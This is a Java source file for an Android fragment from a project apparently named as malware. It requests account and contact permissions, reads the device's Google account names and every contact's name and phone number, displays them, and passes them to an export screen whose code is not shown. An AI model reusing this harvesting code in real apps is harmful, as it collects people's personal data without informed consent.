package com.example.h3x.androidmalware.View.Fragments;

import android.Manifest;
import android.accounts.Account;
import android.accounts.AccountManager;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.os.Bundle;
import android.provider.ContactsContract;
import android.support.v4.app.ActivityCompat;
import android.support.v4.app.Fragment;
import android.support.v4.content.ContextCompat;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.ListView;
import android.widget.TextView;
import android.widget.Toast;

import com.example.h3x.androidmalware.Models.SendToActivity;
import com.example.h3x.androidmalware.R;
import com.example.h3x.androidmalware.View.Activities.ExportActivity;

import java.util.ArrayList;


public class AccManagerFragment extends Fragment {


    public  static final int RequestPermissionCode  = 1 ;
    Cursor cursor ;
    ArrayList<String> StoreContacts ;
    String name, phonenumber ;
    ArrayAdapter<String> arrayAdapter ;
    private String text;

    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
    }

    @Override
    public View onCreateView(LayoutInflater inflater, ViewGroup container,
                             Bundle savedInstanceState) {
        View v = inflater.inflate(R.layout.fragment_acc_manager, container, false);
        // Inflate the layout for this fragment
        final ArrayList<String> StoreContacts = new ArrayList<String>();
        final TextView acc = v.findViewById(R.id.AccountManagerView);
        final Button export = v.findViewById(R.id.export);
        final TextView contacts = v.findViewById(R.id.ContactManagerView);
        Button button = (Button) v.findViewById(R.id.button1);
        String possibleEmail = GetAccounts();
        acc.setText(possibleEmail);
        EnableRuntimePermission();
        button.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                try{
                    String out = GetContactsIntoArrayList();
                    contacts.setText(out);
                    export.setEnabled(true);
                    text = out;
                } catch (Exception e){
                    Toast.makeText(getActivity(),e.getMessage(), Toast.LENGTH_LONG).show();
                }


            }
        });

        export.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Intent myIntent = new Intent(getActivity(), ExportActivity.class);
                SendToActivity.SendToActivity("Saved contacts:",text);
                getActivity().startActivity(myIntent);
            }
        });
        return v;
    }



    private String GetAccounts(){
        int MY_PERMISSIONS_REQUEST_READ_CONTACTS = 0;
        if (ContextCompat.checkSelfPermission(this.getActivity(),
                android.Manifest.permission.GET_ACCOUNTS)
                != PackageManager.PERMISSION_GRANTED) {


            if (ActivityCompat.shouldShowRequestPermissionRationale(this.getActivity(),
                    android.Manifest.permission.GET_ACCOUNTS)) {
                //TODO

            } else {


                ActivityCompat.requestPermissions(this.getActivity(),
                        new String[]{android.Manifest.permission.GET_ACCOUNTS},
                        MY_PERMISSIONS_REQUEST_READ_CONTACTS);
            }
        }
        String possibleEmail="";
            possibleEmail += "************* Get Registered Gmail Account *************\n\n";
            Account[] accounts = AccountManager.get(this.getActivity()).getAccountsByType("com.google");

            for (Account account : accounts) {

                possibleEmail += " --> "+account.name+" : "+account.type+"; \n";
                possibleEmail += " \n\n";

            }
        return possibleEmail;
    }

    public void EnableRuntimePermission(){

        if (ActivityCompat.shouldShowRequestPermissionRationale(getActivity(),Manifest.permission.READ_CONTACTS))
        {

            Toast.makeText(getActivity(),"CONTACTS permission allows us to Access CONTACTS app", Toast.LENGTH_LONG).show();

        } else {

            ActivityCompat.requestPermissions(getActivity(),new String[]{
                    Manifest.permission.READ_CONTACTS}, RequestPermissionCode);

        }
    }

    @Override
    public void onRequestPermissionsResult(int RC, String per[], int[] PResult) {

        switch (RC) {

            case RequestPermissionCode:

                if (PResult.length > 0 && PResult[0] == PackageManager.PERMISSION_GRANTED) {

                    Toast.makeText(getActivity(),"Permission Granted, Now your application can access CONTACTS.", Toast.LENGTH_LONG).show();

                } else {

                    Toast.makeText(getActivity(),"Permission Canceled, Now your application cannot access CONTACTS.", Toast.LENGTH_LONG).show();

                }
                break;
        }
    }

    public String GetContactsIntoArrayList(){
        String out = "";
        cursor = getActivity().getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,null, null, null);
        if (cursor != null) {
            while (cursor.moveToNext()) {

                name = cursor.getString(cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME));
                out+= "Name:"+name+", ";
                phonenumber = cursor.getString(cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
                out+= "Number:"+phonenumber+";\n";
            }

            cursor.close();
        }
        return out;
    }


}
